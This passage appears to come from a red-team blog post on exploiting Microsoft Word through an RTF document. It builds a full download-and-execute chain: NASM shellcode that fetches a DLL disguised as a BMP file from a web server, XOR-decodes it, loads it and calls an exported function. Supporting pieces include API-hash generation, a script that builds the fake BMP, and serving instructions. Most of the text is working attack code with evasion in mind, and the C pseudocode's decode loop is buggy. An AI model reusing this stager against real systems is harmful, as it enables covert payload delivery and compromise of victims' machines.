However, downloading a DLL is not the paradigm of stealth. We are going to implement a very naif disguise: we will prepend the 58 bytes of a BMP file to the downloaded file. The rest of the contents will be xor’ed with a fixed value. In pseudoCode:

char url[] = "https://127.0.0.1:8000/asd.bmp";
char download_path[256] = { 0 };
HANDLE hnd, lib;
DWORD filesize, nbytes;
DWORD tmp;
char *dll, *bmp;
int (*pwn)(void);

URLDownloadToCacheFileA(NULL, url, download_path, 255, 0, NULL);

hnd = CreateFileA(
          download_path,
          GENERIC_READ | GENERIC_WRITE,
          FILE_SHARED_READ,
          0,
          OPEN_EXISTING,
          FILE_ATTRIBUTE_NORMAL,
          NULL
      );

filesize = GetFileSize(hnd, NULL);

bmp = VirtualAlloc(NULL, filesize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

ReadFile(hnd, bmp, filesize, &nbytes, NULL);

dll = bmp + 58;
for(unsigned int i = 0; i < filesize; i += 4) {
  tmp = * ((DWORD *) &dll[i]);
  tmp ^= 0x1337c0de
}

SetFilePointer(hnd, 0, 0, FILE_BEGIN);
WriteFile(hnd, dll, filesize - 58, &nbytes, NULL);
SetEndOfFile(hnd);
CloseHandle(hnd);

lib = LoadLibraryA(download_path);
pwn = GetProcAddress(lib, "doit");
pwn();

We will use NASM to write the shellcode. First of all, we need a simple way to call into the WinApi. This problem was solved time ago and there are known public implementations. We are going to use Metasploit’s one.

Our shellcode starts by defining all the constants we will need. Write in pwn.asm:

BITS 32
ORG 0

MEM_COMMIT: equ 0x00001000
MEM_RESERVE: equ 0x00002000

PAGE_EXECUTE: equ 0x10
PAGE_EXECUTE_READ: equ 0x20
PAGE_EXECUTE_READWRITE: equ 0x40
PAGE_READWRITE: equ 0x04

GENERIC_READ: equ 0x80000000
GENERIC_WRITE: equ 0x40000000
FILE_SHARE_READ: equ 0x01
OPEN_EXISTING: equ 0x03
FILE_ATTRIBUTE_NORMAL: equ 0x80
FILE_BEGIN: equ 0x00

Metasploit’s shellcode is easy to use. When we call a function from the WinApi we usually do the following:

push arg_N
push arg_N-1
...
push arg_1
push arg_0
call winapi

When using MSF’s shellcode, an additional argument is pushed: a simple hash of the library and function’s name. The shellcode will traverse the list of modules loaded in the process, and then each module’s exports. At each interation it will compare the calculated hash with the one pushed by us, until there is a match. So:

push arg_N
push arg_N-1
...
push arg_1
push arg_0
push HASH
call msf_api

Lets define all the hashes we will use. The code we used is based on the one here.

import sys

def ror( dword, bits ):
  return ( dword >> bits | dword << ( 32 - bits ) ) & 0xFFFFFFFF
#=============================================================================#
def unicode( string, uppercase=True ):
  result = "";
  if uppercase:
    string = string.upper()
  for c in string:
    result += c + "x00"
  return result
#=============================================================================#
def hash( module, function, bits=13, print_hash=True ):
  module_hash = 0
  function_hash = 0
  for c in unicode( module + "x00" ):
    module_hash  = ror( module_hash, bits )
    module_hash += ord( c )
  for c in str( function + "x00" ):
    function_hash  = ror( function_hash, bits )
    function_hash += ord( c )
  h = module_hash + function_hash & 0xFFFFFFFF
  if print_hash:
    print "[+] 0x%08X = %s!%s" % ( h, module.lower(), function )
  return h

if __name__ == '__main__':
        for x in sys.argv[1:]:
                module, function = x.split(":", 2)
                print module, function, hex(hash(module, function, print_hash=False))

We add the definitions to pwn.asm:

VIRTUALALLOC_HASH: equ 0xe553a458
VIRTUALPROTECT_HASH: equ 0xc38ae11
URLDOWNLOADTOCACHEFILE_HASH equ 0xdac0c98f
GETFILESIZE_HASH: equ 0x701e12c6
CREATEFILE_HASH: equ 0x4fdaf6da
READFILE_HASH: equ 0xbb5f9ead
WRITEFILE_HASH: equ 0x5bae572d
SETFILEPOINTER_HASH: equ 0xd812cdaa
SETENDOFFILE_HASH: equ 0xd7e3cbdb
CLOSEHANDLE_HASH: equ 0x528796c6
LOADLIBRARY_HASH: equ 0x726774c
GETPROCADDRESS_HASH: equ 0x7802f749
DELETEFILE_HASH: equ 0x13dd2ed7
EXITPROCESS_HASH: equ 0x56a2b5f0

And define a structure in which we will store our variables:

STRUC mydata
    .api_call:      resd 1      ; address of MSF's api
    .filehandle:    resd 1      ; HANDLE given by CreateFileA
    .filebuf:       resd 1      ; address returned by VirtualAlloc
    .filesize:      resd 1      ; size returned by GetFileSize
    .nbytes:        resd 1      ; used by ReadFile and WriteFile
    .url:           resb 256    ; URL we will download the BMP from
    .down_filename: resb 256    ; URLDownloadToCacheFileA will write here the path where it saved the file
    .apiname:       resb 64     ; the string "doit" passed to GetProcAddress
ENDSTRUC

And then we write the code:

cld
call start

%include "block_api.asm" ;

start:
    pop ebp     ; ebp -> api MSF

    ; we alloc some space for mydata
    push dword PAGE_READWRITE
    push dword (MEM_COMMIT | MEM_RESERVE)
    push mydata_size
    push 0
    push VIRTUALALLOC_HASH
    call ebp

    ; save MSF's api address and use ebp as a pointer to mydata
    mov dword [eax + mydata.api_call], ebp
    mov ebp, eax

    ; url = "https://127.0.0.1:8000/asd.bmp"
    mov dword [ebp + mydata.url], 0x70747468
    mov dword [ebp + mydata.url + 4], 0x312f2f3a
    mov dword [ebp + mydata.url + 8], 0x302e3732
    mov dword [ebp + mydata.url + 12], 0x312e302e
    mov dword [ebp + mydata.url + 16], 0x3030383a
    mov dword [ebp + mydata.url + 20], 0x73612f30
    mov dword [ebp + mydata.url + 24], 0x6d622e64
    mov dword [ebp + mydata.url + 28], 0x00000070

    ; apiname = "doit"
    mov dword [ebp + mydata.apiname], 0x74696f64
    mov dword [ebp + mydata.apiname + 4], 0x00000000

    ; UrlDownloadToCacheFileA(mydata.url, mydata.url_filename, 254, 0, NULL);
    push 0                              ; pBSC
    push 0                              ; dwReserved
    push 254                            ; cchFileName
    lea eax, [ebp + mydata.down_filename]
    push eax                            ; szFileName
    lea eax, [ebp + mydata.url]
    push eax                            ; szUrl
    push 0                              ; lpUnkCaller
    push URLDOWNLOADTOCACHEFILE_HASH
    call dword [ebp + mydata.api_call]

    ; mydata.filehandle = CreateFileA(
    ;                       mydata.url_filename,
    ;                       GENERIC_READ | GENERIC_WRITE,
    ;                       FILE_SHARED_READ,
    ;                       0,
    ;                       OPEN_EXISTING,
    ;                       FILE_ATTRIBUTE_NORMAL,
    ;                       NULL
    ; )
    push dword 0                        ; hTemplateFile
    push dword FILE_ATTRIBUTE_NORMAL    ; dwFlagsAndAttributes
    push dword OPEN_EXISTING            ; dwCreationDisposition
    push dword 0                        ; lpSecurityAttributes
    push dword FILE_SHARE_READ          ; dwShareMode
    push dword (GENERIC_READ | GENERIC_WRITE) ; dwDesiredAccess
    lea eax, [ebp + mydata.down_filename]
    push eax
    push CREATEFILE_HASH
    call dword [ebp + mydata.api_call]
    mov dword [ebp + mydata.filehandle], eax

    ; mydata.filesize = GetFileSize(mydata.filehandle, NULL)
    push dword 0                        ; lpFileSizeHigh
    push eax                            ; hFile
    push GETFILESIZE_HASH
    call dword [ebp + mydata.api_call]
    mov dword [ebp + mydata.filesize], eax

    ; mydata.filebuf = VirtualAlloc(
    ;                     NULL,
    ;                     mydata.filesize,
    ;                     MEM_COMMIT | MEM_RESERVE,
    ;                     PAGE_READWRITE
    ;                 );
    push dword PAGE_READWRITE
    push dword (MEM_COMMIT | MEM_RESERVE)
    push eax
    push 0
    push VIRTUALALLOC_HASH
    call dword [ebp + mydata.api_call]
    mov dword [ebp + mydata.filebuf], eax

    ; ReadFile(
    ;         mydata.filehandle,
    ;         mydata.filebuf,
    ;         mydata.filesize,
    ;         &mydata.nbytes,
    ;         NULL
    ; )
    push dword 0                        ; lpOverlapped
    lea ecx, [ebp + mydata.nbytes]
    push ecx                            ; lpNumberOfBytesRead
    mov ecx, dword [ebp + mydata.filesize]
    push ecx                            ; nNumberOfBytesToRead
    push eax                            ; lpBuffer
    mov eax, dword [ebp + mydata.filehandle]
    push eax                            ; hFile
    push READFILE_HASH
    call dword [ebp + mydata.api_call]

    ; dll = bmp + 58;
    ; for(unsigned int i = 0; i < filesize; i += 4) {
    ;   tmp = * ((DWORD *) &dll[i]);
    ;   tmp ^= 0x1337c0de
    ; }
    mov edi, dword [ebp + mydata.filebuf]
    add edi, 58
    mov ecx, dword [ebp + mydata.filesize]
    sub ecx, 58
    sar ecx, 2
decode_loop:
    xor dword [edi], 0x1337c0de
    add edi, 4
    dec ecx
    jnz decode_loop

    ; SetFilePointer(mydata.filehandle, 0, 0, FILE_BEGIN)
    push dword FILE_BEGIN               ; dwMoveMethod
    push dword 0                        ; lpDistanceToMoveHigh
    push dword 0                        ; lDistanceToMove
    mov eax, dword [ebp + mydata.filehandle]
    push eax
    push SETFILEPOINTER_HASH
    call dword [ebp + mydata.api_call]

    ; WriteFile(
    ;     mydata.filehandle,
    ;     mydata.filebuf + 58,
    ;     mydata.filesize - 58,
    ;     &mydata.nbytes,
    ;     NULL
    ; )
    push dword 0                        ; lpOverlapped
    lea eax, [ebp + mydata.nbytes]
    push eax                            ; lpNumberOfBytesWritten
    mov eax, dword [ebp + mydata.filesize]
    sub eax, 58
    push eax                            ; nNumberOfBytesToWrite
    mov eax, dword [ebp + mydata.filebuf]
    add eax, 58
    push eax                            ; lpBuffer
    mov eax, dword [ebp + mydata.filehandle]
    push eax                            ; hFile
    push WRITEFILE_HASH
    call dword [ebp + mydata.api_call]

    ; SetEndOfFile(mydata.filehandle)
    mov eax, dword [ebp + mydata.filehandle]
    push eax
    push SETENDOFFILE_HASH
    call dword [ebp + mydata.api_call]

    ; CloseHandle(mydata.filehandle)
    mov eax, dword [ebp + mydata.filehandle]
    push eax
    push CLOSEHANDLE_HASH
    call dword [ebp + mydata.api_call]

    ; eax = LoadLibraryA(mydata.down_filename)
    lea eax, [ebp + mydata.down_filename]
    push eax
    push LOADLIBRARY_HASH
    call dword [ebp + mydata.api_call]

    ; eax = GetProcAddress(eax, mydata.apiname)
    lea ebx, [ebp + mydata.apiname]
    push ebx
    push eax
    push GETPROCADDRESS_HASH
    call dword [ebp + mydata.api_call]

    ; eax()
    call eax

    ; ExitProcess()
    push 0
    push EXITPROCESS_HASH
    call dword [ebp + mydata.api_call]

We finish the shellcode with a call to ExitProcess(). We assembly it:

$ nasm -o pwn.bin pwn.asm
$ ls -la pwn.bin
-rw-r--r-- 1 i i 519 Nov  8 11:36 pwn.bin

And then slightly modify our code to load the shellcode:

shellcode = open("pwn.bin", "rb").read()

Write a simple DLL to just display a message box:

#include 

int __declspec(dllexport) doit()
{
  HANDLE current_process;
  char modulepath[MAX_PATH] = { 0 };
  char *txt = NULL;

  current_process = GetModuleHandleA(NULL);
  if (NULL != current_process) {
    if (0 != GetModuleFileNameA((HMODULE)current_process, modulepath, MAX_PATH)) {
      txt = modulepath;
    }
  }
  
  if (NULL == txt) {
    txt = "";
  }

  MessageBoxA(NULL, txt, "Hi from", MB_OK);

  return 0;
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
           )
{
  switch (ul_reason_for_call)
  {
  case DLL_PROCESS_ATTACH:
  case DLL_THREAD_ATTACH:
  case DLL_THREAD_DETACH:
  case DLL_PROCESS_DETACH:
    break;
  }
  return TRUE;
}

And create the fake BMP:

import struct
import sys

k = struct.pack("<L", 0x1337c0de)
key = bytearray(k)

if __name__ == '__main__':
  f = open(sys.argv[1], "rb")
  b = bytearray(f.read())
  f.close()

  for i in range(len(b)):
    b[i] = b[i] ^ key[i % len(key)]

  f = open(sys.argv[2], "wb")
  b = ("a" * 58) + b        ; not a bmp huh?
  f.write(b)
  f.close()

Start an HTTP server in the folder where we have saved asd.bmp:

$ python -m SimpleHTTPServer 8000

And finally open the RTF with Word:

Pwned

Pwned

0x06 – Final words

This kind of exercises and research performed by the Red Team allow to check the robustness of the hardening methods and the effectiveness of the possible anti-APT and EDR solutions deployed in out clien’ts machines. Additionally, breaking into corporate networks through this kind of exploitation, simulating an APT, trains the defense team on this kind of security incidents.

Discover our work and cybersecurity services at www.tarlogic.com